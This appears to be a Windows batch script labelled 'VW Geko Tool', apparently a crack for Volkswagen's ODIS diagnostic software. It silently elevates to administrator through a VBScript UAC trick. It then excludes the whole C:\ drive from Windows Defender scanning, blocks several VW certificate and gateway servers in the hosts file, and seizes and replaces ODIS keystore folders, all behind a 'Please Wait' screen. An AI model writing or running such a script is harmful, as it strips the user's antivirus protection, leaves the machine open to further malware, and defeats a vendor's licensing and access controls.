%%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a 
cls
cls
cls
@echo off
Setlocal Enabledelayedexpansion

>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system" 

if '%errorlevel%' NEQ '0' (  
    goto UACPrompt  
) else ( goto gotAdmin )  

:UACPrompt  
    echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs" 
    echo UAC.ShellExecute "%~s0", "", "", "runas", 1 >> "%temp%\getadmin.vbs" 
    "%temp%\getadmin.vbs" 
    exit /B  
  
:gotAdmin  
    if exist "%temp%\getadmin.vbs" ( del "%temp%\getadmin.vbs" )  
    pushd "%CD%" 
    CD /D "%~dp0" 



@echo off
title VW Geko Tool
mode con: cols=80 lines=22
color 1f
:start
echo.              
echo         ─────────┤  VW Geko Tool  ├────────
echo.                                                            
echo                                  Please Wait...                                                                     
echo.                                        
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\'

attrib -R C:\WINDOWS\system32\drivers\etc\hosts


echo 127.0.0.1 cpnbb.cpn.vwg >> C:\Windows\System32\drivers\etc\hosts
echo 127.0.0.1 ws-gateway.cpn.vwg >> C:\Windows\System32\drivers\etc\hosts
echo 127.0.0.1 ws-gateway.volkswagenag.com >> C:\Windows\System32\drivers\etc\hosts
echo 127.0.0.1 ws-gateway-odis.volkswagenag.com >> C:\Windows\System32\drivers\etc\hosts
echo 127.0.0.1 odiscert.vwhub.com >> C:\Windows\System32\drivers\etc\hosts
echo 127.0.0.1 vas.faw-vw.com >> C:\Windows\System32\drivers\etc\hosts
echo 127.0.0.1 grp.cpn.vwg >> C:\Windows\System32\drivers\etc\hosts
echo 127.0.0.1 webfd.ft.europe.d3vw.com >> C:\Windows\System32\drivers\etc\hosts


set "paths[0]=C:\Program Files\Offboard_Diagnostic_Information_System_Service"
set "paths[1]=C:\Program Files (x86)\Offboard_Diagnostic_Information_System_Service"
set "paths[2]=C:\OS\Offboard_Diagnostic_Information_System_Service"
set "paths[3]=C:\ProgramData\Offboard_Diagnostic_Information_System_Service"
set "paths[4]=C:\ProgramData\OS"

for /l %%i in (0,1,4) do (
    set "current_path=!paths[%%i]!"
    if exist "!current_path!\" (
        set "keystore_path=!current_path!\.keystore"
        takeown /f "!keystore_path!" /r /d y >nul 2>&1
        icacls "!keystore_path!" /reset /t /c /q >nul 2>&1
        attrib -h -s "!keystore_path!" /s /d >nul 2>&1
        if exist "!keystore_path!" (
            if not exist "!keystore_path!\" (
                del /f /q "!keystore_path!" >nul 2>&1
                mkdir "!keystore_path!" >nul 2>&1
            )
        ) else (
            mkdir "!keystore_path!" >nul 2>&1
        )
    )
)

endlocal

echo.
                                     
echo                                  Processing completed!            
echo. 
pause 
